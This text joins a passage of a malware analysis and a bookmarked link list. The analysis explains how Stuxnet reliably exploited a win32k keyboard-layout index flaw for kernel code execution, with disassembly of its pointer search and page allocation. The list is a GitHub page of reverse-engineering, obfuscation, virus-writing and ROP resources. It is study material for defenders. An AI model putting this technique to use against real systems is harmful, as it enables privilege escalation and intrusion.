.data:BF99C4B8 \_aNLSVKFProc  dd offset \_NlsNullProc@12  
.data:BF99C4BC dd offset \_KbdNlsFuncTypeNormal@12  
.data:BF99C4C0 dd offset \_KbdNlsFuncTypeAlt@12  
.data:BF99C4C4 \_aVkNumpad db 67h  
.data:BF99C4C5 db 68h  
.data:BF99C4C6 db 69h  
.data:BF99C4C7 db 0FFh  
.data:BF99C4C8 db 64h  
.data:BF99C4C9 db 65h  
.data:BF99C4CA db 66h  
.data:BF99C4CB db 0FFh  
.data:BF99C4CC db 61h  
.data:BF99C4CD db 62h  
.data:BF99C4CE db 63h  
.data:BF99C4CF db 60h  
.data:BF99C4D0 db 6Eh  
.data:BF99C4D1 db 0  
.data:BF99C4D2 db 0  
.data:BF99C4D3 db 0  
\[...\]  
  
---  
  
If an index value greater than 2 is supplied, the code will treat data in the
byte array as pointers.  
  
If the index has a value of 5, the code in the "win32k\!xxxKENLSProcs\(\)"
function will call the pointer at 0xBF99C4CC, which means that the code flow
is redirected to 0x60636261.  
  
  
kd> dds win32k\!aNLSVKFProc L6  
bf99c4b8 bf9332ca win32k\!NlsSendBaseVk //**index 0**  
bf99c4bc bf93370c win32k\!KbdNlsFuncTypeNormal //******index 1**  
bf99c4c0 bf933752 win32k\!KbdNlsFuncTypeAlt //******index 2**  
bf99c4c4 ff696867 //**i****ndex 3**  
bf99c4c8 ff666564 //******index 4**  
bf99c4cc 60636261 //******index 5**  
\[...\]  
  
---  
As this address could be controlled from userland, an attacker can place a
ring0 shellcode at this address to achieve code execution with kernel
privileges.  
  
  
__**2\. Reliable Code Execution via PE Parsing**  
  
__To get a reliable code execution with different versions of the "win32k.sys"
driver while the aNLSVKFProc function array is not exported, Stuxnet authors
had to ensure that the indexed data outside the aNLSVKFProc array will always
be valid a pointer that can controlled from userland, and used in the "call"
instruction.  
  
To achieve this task the Stuxnet exploit parses the Win32K.sys file and does
the following:  
  
\- Loads the win32K.sys file as a flat data file  
\- Gets some information from the PE header \(number of sections, export and
import data directories, etc.\)  
\- Gets Timestamp info  
\- Gets .data section VA  
\- Gets .data section information  
\- Gets .text VA  
\- Gets .text section information  
\- Searches for a specific binary signature  
\- Searches for the NLSVKFProcs function array  
  
Stuxnet uses a binary signature which is present in all "win32K.sys" driver
versions \(on Windows 2000 and Windows XP\) whatever service packs or patches
are installed on the target system.  
  
This signature corresponds to the first 8 bytes of the
"aulShiftControlCvt\_VK\_IBM02" variable \(not exported\), located in the
.data section of the binary file:

  
.data:BF99C4DC \_aulShiftControlCvt\_VK\_IBM02  
.data:BF99C4DC  db 91h  
.data:BF99C4DD  db 0  
.data:BF99C4DE db 3  
.data:BF99C4DF db 1  
.data:BF99C4E0 db 90h  
.data:BF99C4E1 db 0  
.data:BF99C4E2 db 13h  
.data:BF99C4E3 db 1  
  
---  
This signature is known to be:  
  
\- Present in all versions of Win32K drivers  
\- Unique  
\- Near the aNLSVKFProc function array  
  
Once this signature is found, the malware uses an arbitrary range of - 1000 to
+1000 bytes from the signature and starts searching for a pointer to the code
section of the driver.  
  
In the example below, the pointer at 0xBF99C478 \(0xBF9332CA\) is a pointer to
the code section:  

  
.data:BF99C470 07 00 00 00 00 00 00 00 CA 32 93 BF 59 1D 96 BF  
.data:BF99C480 CA 32 93 BF D5 32 93 BF 0D 35 93 BF 80 38 93 BF  
  
---  
  
The above data dump looks like this when viewed from a code perspective:  
  
  
.data:BF99C470 \_fNlsKbdConfiguration db 7  
.data:BF99C471 align 8  
.data:BF99C478 \_aNLSKEProc dd offset \_NlsNullProc@12  
.data:BF99C47C off\_BF99C47C dd offset \_NlsLapseProc@12  
.data:BF99C480 dd offset \_NlsNullProc@12  
\[...\]  
  
---  
When such a pointer is found, the malware applies the following algorithm to a
particular pointer \(remember that the code is currently stopped at
0xBF99C478, which we call "pLoc"\):  
  
\- pLoc\[0\] and pLoc\[2\] must be the same pointers:

  
.data:BF99C478 \_aNLSKEProc dd offset \_NlsNullProc@12  
.data:BF99C47C off\_BF99C47C dd offset \_NlsLapseProc@12  
.data:BF99C480 dd offset \_NlsNullProc@12  
  
---  
\- pLoc\[0\] and pLoc\[1\] must not be the same pointers.

  
.data:BF99C478 \_aNLSKEProc dd offset \_NlsNullProc@12  
.data:BF99C47C off\_BF99C47C dd offset \_NlsLapseProc@12  
.data:BF99C480 dd offset \_NlsNullProc@12  
  
---  
\- pLoc\[0\] and pLoc\[4\] must not be the same pointers.  

  
.data:BF99C478 \_aNLSKEProc dd offset \_NlsNullProc@12  
.data:BF99C47C off\_BF99C47C dd offset \_NlsLapseProc@12  
.data:BF99C480 dd offset \_NlsNullProc@12  
.data:BF99C484 dd offset \_NlsSendParamVk@12  
  
---  
At that point, the malware knows that it may have found "\_aNLSKEProc". For
this, it checks if the pointer at this address is really a pointer to the
NlsNullProc\(\) function by searching for a RETN 0C instruction \(opcodes:
0xC20C\) in the very first bytes of the function:  

  
.text:BF9332CA ; \_\_stdcall NlsNullProc\(x, x, x\)  
.text:BF9332CA \_NlsNullProc@12 proc near  
.text:BF9332CA xor eax, eax  
.text:BF9332CC  inc eax  
.text:BF9332CD  retn 0Ch //**opcodes: 0xC2 0x0C**  
.text:BF9332CD \_NlsNullProc@12 endp  
  
---  
  
Below is an excerpt of the Stuxnet malware doing this opcode search:  
  
CPU Disasm  
10002C5F PUSH 2  
10002C61 ADD ECX,DWORD PTR SS:\[LOCAL.5\] //**ecx points to func. code**  
10002C64 |XOR EAX,EAX  
10002C66 |POP EDI //******edi = 2**  
10002C67 |/TEST EAX,EAX  
10002C69 ||JNE SHORT 10002C7E  
10002C6B ||CMP WORD PTR DS:\[ECX+EDI\],0CC2 //******c2 0c = > RETN 0c**  
10002C71 ||SETE AL //******set AL on condition**  
10002C74 ||INC EDI  
10002C75 ||CMP EDI,0A //******check only for the first 8 bytes**  
10002C78 |\JB SHORT 10002C67  
  
---  
If the "RETN 0C" code is found, the code is currently located on the
\_aNLSKEProc variable \(0xBF99C478\):

  
.data:BF99C478 \_aNLSKEProc dd offset \_NlsNullProc@12  
  
---  
  
From there, the code searches for and goes to the next "NlsNullProc\(\)"
function pointer:  
  
  
.data:BF99C4B0 dd offset \_NlsKanaEventProc@  
.data:BF99C4B4 dd offset \_NlsConvOrNonConvProc@12  
.data:BF99C4B8 \_aNLSVKFProc:  
.data:BF99C4B8 dd offset \_NlsNullProc@12  
.data:BF99C4BC dd offset \_KbdNlsFuncTypeNormal@  
.data:BF99C4C0 dd offset \_KbdNlsFuncTypeAlt@12  
  
---  
As we can see, it founds the non-exported aNLSVKFProc function array. To
ensure this is the right variable, the malware does two more checks:  
  
\- Pointer at +2 cannot be NlsNullProc:  
  

  
.data:BF99C4B0 dd offset \_NlsKanaEventProc@  
.data:BF99C4B4 dd offset \_NlsConvOrNonConvProc@12  
.data:BF99C4B8 \_aNLSVKFProc:  
.data:BF99C4B8 dd offset \_NlsNullProc@12  
.data:BF99C4BC dd offset \_KbdNlsFuncTypeNormal@  
.data:BF99C4C0 dd offset \_KbdNlsFuncTypeAlt@12  
  
---  
  
\- Pointer at -2 canot be NlsNullProc:  
  
  
.data:BF99C4B0 dd offset \_NlsKanaEventProc@  
.data:BF99C4B4 dd offset \_NlsConvOrNonConvProc@12  
.data:BF99C4B8 \_aNLSVKFProc:  
.data:BF99C4B8 dd offset \_NlsNullProc@12  
.data:BF99C4BC dd offset \_KbdNlsFuncTypeNormal@  
.data:BF99C4C0 dd offset \_KbdNlsFuncTypeAlt@12  
  
---  
Once all these checks are passed, the malware is now pretty sure that it is on
aNLSVKFProc. It then checks starting from the function array for the first
user-mode pointer:

  
CPU Disasm  
10002B35 MOV EDI,10000 //**edi = 0x10000**  
10002B3A /MOV ECX,DWORD PTR SS:\[ARG.2\]  **** //**\_aNLSVKFProc**  
10002B3D |MOVZX EAX,BL  
10002B40 |MOV ESI,DWORD PTR DS:\[EAX\*4+ECX\]  //**esi = \_aNLSVKFProc\[i\]**  
10002B43 |CMP ESI,7FFF0000  //**must be in user space**  
10002B49 |JNB SHORT 10002B91  
10002B4B |CMP DWORD PTR SS:\[ARG.6\],0  
10002B4F |JNE SHORT 10002B55  
10002B51 |CMP ESI,EDI  //**must be above 0x10000**  
10002B53 |JB SHORT 10002B91  
10002B55 |PUSH 1C  
10002B57 |LEA EAX,\[LOCAL.10\]  
10002B5A |PUSH EAX  
10002B5B |PUSH ESI  //**pointer outside array**  
10002B5C |CALL DWORD PTR DS:\[VirtualQuery\_p\]  //**get page information**  
10002B62 |CMP EAX,1C  
10002B65 |JA SHORT 10002BA7  
10002B67 |CMP DWORD PTR SS:\[LOCAL.6\],EDI //**is it a MEM\_FREE page?**  
10002B6A |JNE SHORT 10002B91  
10002B6C |PUSH 40  
10002B6E |PUSH 3000  
10002B73 |LEA EAX,\[LOCAL.3\]  
10002B76 |PUSH EAX  
10002B77 |PUSH 0  
10002B79 |LEA EAX,\[LOCAL.1\]  
10002B7C |PUSH EAX  
10002B7D |MOV DWORD PTR SS:\[LOCAL.1\],ESI  
10002B80 |CALL DWORD PTR DS:\[GetCurrentProcess\_p\]  
10002B86 |PUSH EAX  
10002B87 |CALL DWORD PTR DS:\[NtAllocateVirtualMemory\_p\] //******alloc
page**  
10002B8D |TEST EAX,EAX  
10002B8F |JE SHORT 10002BB0  
10002B91 |INC BL  
10002B93 |CMP BL,0FF //**i <= 255**  
10002B96 \JBE SHORT 10002B3A  
  
---  
The above code snippet, extracted from Stuxnet, extracts pointers from the
table \(even outside the table\) and checks if the pointer is below 0x7FFF0000
\(first address outside userland addresses\) and above 0x10000.  
  
The code checks if the page is not already mapped. If it is not, the page is
allocated. In our example, this would lead to allocate the page containing the
address 0x60636261:  

  
kd> dds win32k\!aNLSVKFProc L6  
bf99c4b8 bf9332ca win32k\!NlsSendBaseVk // **index 0**  
bf99c4bc bf93370c win32k\!KbdNlsFuncTypeNormal // **index 1**  
bf99c4c0 bf933752 win32k\!KbdNlsFuncTypeAlt //**index 2**  
bf99c4c4 ff696867 // **index 3**  
bf99c4c8 ff666564 //**index 4**  
bf99c4cc 60636261 // **index 5**  
\[...\]  
  
---  
Once the page is allocated, the malware does the following:  
  
\- Copies a shellcode to that address \(0x60636261\).  
\- Saves the malicious index \(5 in our example\) in a keyboard layout file.  
\- Loads the layout file and sends the input event to trigger the
vulnerability  
  
This last step leads to "win32k\!xxxKENLSProcs\(\)" and to the indexed call,
leading to arbitrary code execution of the shellcode with kernel privileges.  

  
; In win32k\!xxxKENLSProcs\(\) function starting at 0xBF8A1F9C  
; Module: win32k.sys - Module Base: 0xBF800000 - version: 5.1.2600.6003  
;  
.text:BF8A1F50 movzx ecx, byte ptr \[eax-83h\] // **ECX = 5**  
.text:BF8A1F57 push edi  
.text:BF8A1F58 add eax, 0FFFFFF7Ch  
.text:BF8A1F5D push eax  
.text:BF8A1F5E call \_aNLSVKFProc\[ecx\*4\] // **Call 0x60636261**  
  
---  
As we can see, the custom PE parsing used in Stuxnet ensures that whatever the
operating system is \(2000 or XP\) and the service packs or patches are
installed, the function array can be reliably found and the vulnerability
exploited.  
  
This method could be improved or implemented differently, but it does its job
as expected and it demonstrates, once again, that malware authors are getting
smarter.

# REMath/literature\_review · GitHub

**Created:**| _8/27/2014 2:15:57 PM_  
---|---  
**Updated:**| _8/27/2014 2:15:57 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

## Mechanization of Exploits

  * https://github.com/REMath/literature\_review/blob/master/mechanization\_of\_exploits.org

##  Binary Analysis

  * https://github.com/zardus/pyvex
  * https://github.com/trailofbits/mcsema
  * https://github.com/bdcht/amoco
  * A tool that exports LLVM bitcode into a Datalog workspace - https://github.com/plast-lab/llvm-datalog
  * http://bap.ece.cmu.edu/
  * http://dynamorio.org/
  * https://bitbucket.org/simona/mltk
  * http://insight.labri.fr/trac, https://github.com/perror/insight
  * https://github.com/rose-compiler/rose/tree/master/projects/BinQ
  * https://github.com/neuromancer/SEA
  * http://bitblaze.cs.berkeley.edu/
  * http://code.google.com/p/avalanche/
  * https://bincoa.labri.fr/trac
  * http://www.jakstab.org/documentation
  * https://code.google.com/p/tree-cbass/
  * https://github.com/bitblaze-fuzzball/fuzzball \(https://nebelwelt.net/blog/20140114-having\_phun\_with\_SE.html\)
  * https://code.google.com/p/decaf-platform/
  * http://esec-lab.sogeti.com/pages/Fuzzgrind
  * http://code.google.com/p/idaocaml/
  * http://doar-e.github.io/blog/2013/09/16/breaking-kryptonites-obfuscation-with-symbolic-execution/
  * https://github.com/tosanjay/BOPFunctionRecognition
  * https://github.com/codelion/pathgrind
  * http://doar-e.github.io/blog/2013/09/16/breaking-kryptonites-obfuscation-with-symbolic-execution/
  * http://yurichev.com/writings/z3\_rockey.pdf
  * http://eindbazen.net/2013/04/pctf-2013-cone-binary-250-2/
  * http://shell-storm.org/blog/Binary-analysis-Concolic-execution-with-Pin-and-z3/
  * An architecture-independent decompiler to LLVM IR - https://github.com/draperlaboratory/fracture
  * DECAF - https://code.google.com/p/decaf-platform/
  * Binwalk: Firmware analysis tool - http://binwalk.org/
  * https://code.google.com/p/miasm/

##  Analysis of Communication Protocols

  * Netzob is an open source tool for reverse engineering, traffic generation and fuzzing of communication protocols. It allows to infer the message format and the state machine of a protocol through passive and active processes. The model can afterward be used to simulate realistic and controllable trafic. - http://www.netzob.org/
  * Communication protocols determine how network components interact with each other. Therefore, the ability to derive a specification of a protocol can be useful in various contexts, such as to support deeper black-box testing or effective defense mechanisms. Unfortunately, it is often hard to obtain the specification because systems implement closed \(i.e., undocumented\) protocols, or because a time consuming translation has to be performed, from the textual description of the protocol to a format readable by the tools. To address these issues, we developed ReverX, a Java application that generates automata for the language and protocol state machine from network traces. Since our solution only resorts to interaction samples of the protocol, it is well-suited to uncover the message formats and protocol states of closed protocols and also to automate most of the process of specifying open protocols. - https://code.google.com/p/reverx/

##  Intermediate Representations

  * An Intermediate Representation for Integrating Reverse Engineering Analyses \(1998\) - http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.47.2766
  * REIL: A platform-independent intermediate representation of disassembled code for static code analys - http://moflow.org/ref/REIL%20-%20A%20platform-independent%20intermediate%20representation%20of%20disassembled%20code%20for%20static%20code%20analysis.pdf
  * Relational Reverse Engineering Intermediate Language - http://www2.in.tum.de/bib/files/sepp11precise.pdf
  * VinE Project Documentation - http://bitblaze.cs.berkeley.edu/papers/vine.pdf
  * BIL - http://bap.ece.cmu.edu/doc/bap.pdf
  * LLVM - http://infoscience.epfl.ch/record/149975/files/x86-llvm-translator-chipounov\_2.pdf , http://eurosys2013.tudos.org/wp-content/uploads/2013/paper/Anand.pdf
  * TSL: A System for Generating Abstract Interpreters and its Application to Machine-Code Analysis - http://research.cs.wisc.edu/wpis/papers/toplas13-tsl-final.pdf
  * Combining Several Analyses into One OR What is a Good Intermediate Language for the Analysis of Executables? - http://www.dagstuhl.de/mat/Files/12/12051/12051.SimonAxel.Slides.pdf
  * Jakstab uses an IR described in chapter two of http://www.cs.rhul.ac.uk/home/kinder/papers/phdthesis.pdf
  * Wire – A Formal Intermediate Language for Binary Analysis - https://drive.google.com/file/d/0BymO5h8P3PgAakZqY1RQSldzRmM/edit?usp=sharing
  * Automated Synthesis of Symbolic Instruction Encodings from I/O Samples - http://research.microsoft.com/en-us/um/people/pg/public\_psfiles/pldi2012.pdf
  * Towards A Binary Intermediate Language for Real-Time Embedded System by Jianqi Shi, Qin Li, Longfei Zhu, Xin Ye, Yanhong Huang, Huixing Fang and Fu Song - http://downloads.hindawi.com/journals/mpe/aip/925402.pdf

##  Alias / Value Analysis

  * Alias Analysis for Assembly - http://reports-archive.adm.cs.cmu.edu/anon/anon/usr/ftp/2006/CMU-CS-06-180R.pdf
  * Probabilistic Alias Analysis for ARM Executable Code - https://drive.google.com/file/d/0BymO5h8P3PgAc29nUFBleGFtTnc/edit?usp=sharing
  * WYSINWYX: What You See Is Not What You Execute - http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.76.637&rep=rep1&type=pdf
  * Static Analysis of x86 Executables by Johannes Kinder - http://www.cs.rhul.ac.uk/home/kinder/papers/phdthesis.pdf
  * BDDStab: BDD-based Value Analysis of Binaries - http://cs.au.dk/~amoeller/tapas2014/tapas2014\_2.pdf

##  Binary Rewriting

  * Control Flow Integrity - https://github.com/REMath/literature\_review\#control-flow-integrity
  * Metamorphic Software for Buffer Overflow Mitigation - http://www.cs.sjsu.edu/faculty/stamp/students/cs298report.doc
  * Advanced Metamorphic Techniques in Computer Viruses - http://vxheavens.com/lib/apb01.html
  * Metamorphism in practice or "How I made MetaPHOR and what I've learnt" \- http://vxheavens.com/lib/vmd01.html
  * Automated reverse engineering: Mistfall engine - http://vxheavens.com/lib/vzo21.html
  * Writing disassembler - http://vxheavens.com/lib/vmd05.html
  * Benny's Metamorphic Engine for Win32 - http://vxheaven.org/29a/29a-6/29a-6.316
  * "Do polymorphism" tutorial - http://vxheavens.com/lib/vwm01.html
  * Introductory Primer To Polymorphism in Theory and Practice - http://vxheaven.org/lib/static/vdat/tupripol.htm
  * Recompiling the metamorphism - http://vxheavens.com/lib/vhe11.html
  * Theme: Metamorphism - http://vxheaven.org/29a/29a-4/29a-4.216
  * Some ideas about metamorphism - http://vxheavens.com/lib/vzo20.html
  * Meta-Level Languages in Viruses - http://vxheavens.com/lib/vsp44.html
  * Metamorphism \(part 1\) - http://vxheavens.com/lib/vzo10.html
  * Metamorphism - http://vxheavens.com/lib/vlj00.html
  * The Viral Darwinism of W32.Evol - http://www.openrce.org/articles/full\_view/27 \( http://www.openrce.org/articles/files/evol\_disasm.html \)
  * The Molecular Virology of Lexotan32: Metamorphism Illustrated - http://www.openrce.org/articles/full\_view/29
  * The Design Space of Metamorphic Malware - http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.69.486&rep=rep1&type=pdf
  * Diablo - http://diablo.elis.ugent.be/

##  Abstract Interpretation

  * http://arxiv.org/abs/0810.2179 \(code: http://hal.inria.fr/docs/00/33/23/39/ANNEX/absint.v \) 
  * http://dumas.ccsd.cnrs.fr/docs/00/63/64/45/PDF/Laporte.pdf \(Coq code in the paper\)
  * http://pop-art.inrialpes.fr/interproc/interprocweb.cgi \(code: http://pop-art.inrialpes.fr/people/bjeannet/bjeannet-forge/interproc/index.html \) 
  * http://www.cs.indiana.edu/l/www/classes/b621/abiall.pdf
  * http://web.mit.edu/afs/athena.mit.edu/course/16/16.399/www/
  * http://www.hexblog.com/?p=42
  * https://www.openrce.org/blog/view/1672/Control\_Flow\_Deobfuscation\_via\_Abstract\_Interpretation \( code: https://www.openrce.org/repositories/users/RolfRolles/BitwiseAI.ml \)
  * http://www.irisa.fr/celtique/teaching/PAS/

##  Logical solvers

  * http://z3.codeplex.com/
  * http://alt-ergo.ocamlpro.com/
  * http://yices.csl.sri.com/
  * http://cvc4.cs.nyu.edu/web/
  * http://minisat.se/
  * http://fmv.jku.at/boolector/
  * http://mathsat.fbk.eu/

##  Probabilistic Logic

  * http://alchemy.cs.washington.edu/
  * https://github.com/opcode81/ProbCog/wiki
  * http://hazy.cs.wisc.edu/hazy/tuffy/
  * https://code.google.com/p/thebeast/

##  Datalog

  * Alias Analysis for Assembly - http://users.ece.cmu.edu/~dbrumley/pdf/Brumley,%20Newsome\_2006\_Alias%20Analysis%20for%20Assembly%20%28Revised%29.pdf
  * Dyna: Extending Datalog For Modern AI - http://cs.jhu.edu/~jason/papers/eisner+filardo.datalog11-long.pdf and http://www.cs.jhu.edu/~nwf/datalog20-paper.pdf
  * Using Datalog for fast and easy program analysis - http://cgi.di.uoa.gr/~smaragd/doop-datalog2.0.pdf
  * Implementing Dataflow Analyses for Pegasus in Datalog - http://www.cs.cmu.edu/~drl/course/compilers/report.pdf
  * Using Datalog and binary decision diagrams for program analysis - http://people.csail.mit.edu/mcarbin/papers/aplas05.pdf
  * Datalog for decompilation - https://media.blackhat.com/us-13/US-13-Cesare-Bugalyze.com-Detecting-Bugs-Using-Decompilation-Slides.pdf
  * On Abstraction Reﬁnement for Program Analyses in Datalog - http://www.cs.ox.ac.uk/people/hongseok.yang/paper/pldi14c-submitted.pdf
  * Scaling Datalog for Machine Learning on Big Data - http://arxiv.org/pdf/1203.0160.pdf
  * Relational Representation of the LLVM Intermediate Language - http://cgi.di.uoa.gr/~smaragd/theses/psallida.pdf
  * http://docs.datomic.com/query.html
  * Using Datalog for Fast and Easy Program Analysis - http://cgi.di.uoa.gr/~smaragd/doop-datalog2.0.pdf
  * An Efficient Engine for Fixed Points with Constraints - http://research.microsoft.com/en-us/um/people/leonardo/muze.pdf
  * On Abstraction Refinement for Program Analyses in Datalog - http://www.cs.ox.ac.uk/people/hongseok.yang/paper/pldi14c-submitted.pdf
  * Efficient Top-Down Computation Of Queries Under The Well-Founded Semantics - http://citeseerx.ist.psu.edu/viewdoc/download;jsessionid=9C9550377F2C74A427FBA59818479087?doi=10.1.1.54.8690&rep=rep1&type=pdf
  * Dedalus: Datalog in Time and Space - http://www.eecs.berkeley.edu/Pubs/TechRpts/2009/EECS-2009-173.pdf
  * Strictly Declarative Specification of Sophisticated Points-to Analyses - http://cgi.di.uoa.gr/~smaragd/doop-oopsla09prelim.pdf
  * Pregelix: Big\(ger\) Graph Analytics on A Dataflow Engine - http://arxiv.org/pdf/1407.0455.pdf

##  String Solvers

  * http://webblaze.cs.berkeley.edu/2010/kaluza/
  * http://people.csail.mit.edu/akiezun/hampi/
  * http://www.cs.purdue.edu/homes/zheng16/str/
  * A DPLL\(T\) Theory Solver for a Theory of Strings and Regular Expressions - http://www.divms.uiowa.edu/ftp/tinelli/papers/LiaEtAl-CAV-14.pdf and http://cvc4.cs.nyu.edu/papers/CAV2014-strings/

##  Datasets

  * https://svn.sosy-lab.org/software/sv-benchmarks/tags/svcomp13/
  * http://samate.nist.gov/SRD/testsuite.php
  * http://www.nec-labs.com/research/system/systems\_SAV-website/benchmarks.php
  * http://www.debian.org/distrib/packages
  * https://github.com/offensive-security/exploit-database
  * 1.2k bugs discovered by Mayhem - https://bugs.debian.org/cgi-bin/pkgreport.cgi?submitter=alexandre%40cmu.edu

##  Ground Truth

  * http://dwarfstd.org/

##  Obfuscators

  * http://vxheaven.org/vx.php?id=eidx
  * http://cansecwest.com/core03/shiva.ppt
  * http://diablo.elis.ugent.be/obf\_deobfuscation\_byhand
  * http://blog.yurichev.com/node/58
  * https://github.com/enferex/GOAT-Plugs﻿
  * https://github.com/0vercl0k/stuffz/blob/master/llvm-funz/kryptonite/llvm-functionpass-kryptonite-obfuscater.cpp
  * http://code.google.com/p/pescrambler/
  * http://www.phrack.org/issues.html?id=13&issue=63
  * https://github.com/obfuscator-llvm/obfuscator/wiki \(https://github.com/obfuscator-llvm/obfuscator/tree/clang-425.0.24\)
  * Binary code obfuscation through C++ template metaprogramming - https://www.cisuc.uc.pt/publication/showfile?fn=1357250736\_metaobfv3.pdf

##  Hidden Computation

  * http://mainisusuallyafunction.blogspot.com.es/2014/02/x86-is-turing-complete-with-no-registers.html
  * https://github.com/jbangert/trapcc
  * http://www.cl.cam.ac.uk/~sd601/papers/mov.pdf
  * C++ Templates are Turing Complete - http://ubietylab.net/ubigraph/content/Papers/pdf/CppTuring.pdf
  * https://github.com/elitheeli/stupid-machines

##  Deobfuscation

  * Using optimization algorithms for malware deobfuscation - http://os2.zemris.fer.hr/ns/malware/2010\_spasojevic/diplomski\_spasojevic.pdf
  * Unpacking Virtualization Obfuscators - http://static.usenix.org/event/woot09/tech/full\_papers/rolles.pdf
  * https://code.google.com/p/optimice/

##  Disassemblers

  * http://code.google.com/p/gdsl-toolkit/wiki/Overview
  * http://www.beaengine.org/
  * http://code.google.com/p/distorm/
  * https://hex-rays.com/products/ida/index.shtml
  * http://www.gnu.org/software/binutils/
  * https://github.com/vmt/udis86
  * http://software.intel.com/en-us/articles/pintool-downloads
  * http://capstone-engine.org/
  * winSRDF https://github.com/AmrThabet/winSRDF
  * Udis86 http://udis86.sourceforge.net/

##  Decompilers

  * http://users.ece.cmu.edu/~ejschwar/papers/usenix13.pdf
  * http://dagger.repzret.org/
  * http://www.cl.cam.ac.uk/~mom22/thesis.pdf
  * http://code.google.com/p/arm-thumb-decompiler-plugin/
  * https://github.com/EiNSTeiN-/ida-decompiler
  * http://boomerang.sourceforge.net/
  * http://decompiler.fit.vutbr.cz/decompilation/
  * Retargetable Decompiler http://decompiler.fit.vutbr.cz/index.php
  * C4Decompiler http://www.c4decompiler.com
  * SmartDec decompiler http://decompilation.info/
  * REC Studio 4 http://www.backerstreet.com/rec/rec.htm
  * List of .Net Decompilers: https://code.google.com/p/facile-api/wiki/ListOfDotNetDecompilers

##  Virtual Machines

  * http://klee.llvm.org/
  * https://s2e.epfl.ch/
  * https://github.com/feliam/pysymemu
  * http://pages.cs.wisc.edu/~davidson/fie/
  * http://www.megalith.co.uk/8086tiny/

##  Videos

  * http://media.ccc.de/browse/congress/2013/30C3\_-\_5224\_-\_en\_-\_saal\_6\_-\_201312271400\_-\_triggering\_deep\_vulnerabilities\_using\_symbolic\_execution\_-\_gannimo.html
  * http://www.youtube.com/watch?v=CJccn9d2t5w
  * http://www.youtube.com/watch?v=YUikShiPEg8
  * http://www.youtube.com/watch?v=b8SeZTgwXEY
  * http://www.youtube.com/watch?v=\_jq3swTyk\_k
  * http://www.youtube.com/watch?v=1lh\_DNBZBHQ
  * http://www.youtube.com/watch?v=azTVEwxN8zM
  * http://www.youtube.com/watch?v=k1qqNE1xMII
  * https://archive.org/details/Recon2012Keynote-TheCaseForSemantics-basedMethodsInReverseEngineering
  * https://archive.org/details/ApplyingTaintAnalysisAndTheoremProvingToExploitDevelopment-SeanHeelan
  * https://air.mozilla.org/verification-history/
  * http://vimeo.com/75326415

##  Model Checkers

  * http://nusmv.fbk.eu/
  * http://www.cprover.org/cbmc/
  * http://mtc.epfl.ch/software-tools/blast/index-epfl.php
  * http://research.microsoft.com/en-us/projects/slam/
  * https://bitbucket.org/arieg/ufo/wiki/Home
  * http://www.cprover.org/boom/

##  Reasoning About Finite-state and Pushdown Automata

  * http://research.cs.wisc.edu/wpis/papers/CAV05-tool-demo.pdf
  * http://www.cs.binghamton.edu/~dima/hpca13.pdf
  * http://www2.informatik.uni-stuttgart.de/fmi/szs/tools/moped/
  * http://www2.informatik.uni-stuttgart.de/fmi/szs/tools/wpds/
  * http://research.cs.wisc.edu/wpis/wpds/opennwa-index.php
  * http://rise4fun.com/rex
  * http://www.cs.bham.ac.uk/~hxt/research/rxxr.shtml

##  Debuggers

  * https://bitbucket.org/khooyp/expositor
  * http://www.eresi-project.org/
  * http://redmine.corelan.be/projects/mona

##  Interactive Theorem Provers

  * http://research.microsoft.com/en-us/um/people/akenn/coq/LOLA2012.pdf
  * http://research.microsoft.com/en-us/um/people/nick/coqasm.pdf
  * http://research.microsoft.com/en-us/um/people/akenn/coq/HLSL.pdf
  * http://dream.inf.ed.ac.uk/
  * http://www.cs.chalmers.se/%7Ehallgren/Alfa/
  * http://coq.inria.fr/
  * http://www.dcs.ed.ac.uk/home/lego
  * http://wiki.portal.chalmers.se/agda/pmwiki.php
  * http://www.comlab.ox.ac.uk/archive/formal-methods/hol.html
  * http://www.cl.cam.ac.uk/Research/HVG/Isabelle/
  * http://www.csl.sri.com/pvs.html
  * http://mizar.org/
  * http://www.lama.univ-savoie.fr/sitelama/Membres/pages\_web/RAFFALLI/af2.html
  * http://cvs.metaprl.org:12000/metaprl/
  * http://www.cs.ru.nl/~janz/yarrow/

##  Control Flow Integrity

  * BinCFI: Control Flow Integrity for COTS Binaries - http://www.seclab.cs.sunysb.edu/seclab/bincfi/
  * https://www.usenix.org/conference/usenixsecurity13/technical-sessions/presentation/Zhang
  * http://lenx.100871.net/papers/FPGate-bluehat.pdf
  * http://lists.cs.uiuc.edu/pipermail/llvmdev/2014-February/070210.html
  * Enforcing Forward-Edge Control-Flow Integrity in GCC & LLVM by Caroline Tice, Tom Roeder, Peter Collingbourne, Stephen Checkoway, Úlfar Erlingsson, Luis Lozano, and Geoff Pike - https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-tice.pdf
  * Control-Flow Integrity Principles, Implementations, and Applications - http://research.microsoft.com/pubs/69217/ccs05-cfi.pdf

##  C Code / C++ Code \(Need to split these at some point\)

  * http://why3.lri.fr/
  * http://pp.ipd.kit.edu/firm/
  * https://code.google.com/p/tanalysis/
  * http://frama-c.com/
  * http://goto.ucsd.edu/~rjhala/papers/liquid\_types.html
  * http://www.cs.umd.edu/~jfoster/cqual/
  * http://sourceforge.net/projects/cil/
  * https://github.com/kframework/c-semantics
  * http://sixgill.org
  * https://bitbucket.org/khooyp/otter
  * http://boogie.codeplex.com/
  * https://github.com/jirislaby/stanse
  * https://github.com/dsw/oink-stack/
  * http://delta.tigris.org/
  * http://embed.cs.utah.edu/csmith/
  * http://css.csail.mit.edu/stack/
  * http://embed.cs.utah.edu/creduce/

##  Quantitative Analysis

  * Daikon detects likely program invariants - http://plse.cs.washington.edu/daikon/
  * DIG: A Dynamic Invariant Generator for Polynomial and Array Invariants - https://bitbucket.org/nguyenthanhvuh/dig/src
  * http://www.prismmodelchecker.org/
  * http://software.imdea.org/projects/cacheaudit/
  * http://www-verimag.imag.fr/~tripakis/openkronos.html
  * http://turnersr.github.io/measurements/properties.html

##  Assisted Exploit Engineering

###  Return-oriented Programming

  * http://users.ece.cmu.edu/~ejschwar/papers/usenix11.pdf
  * https://github.com/programa-stic/ropc-llvm
  * https://github.com/pakt/ropc
  * https://github.com/JonathanSalwan/ROPgadget
  * https://github.com/0vercl0k/rp
  * https://github.com/trailofbits/bisc
  * Blind Return Oriented Programming \(BROP\) - http://www.scs.stanford.edu/~sorbo/brop/

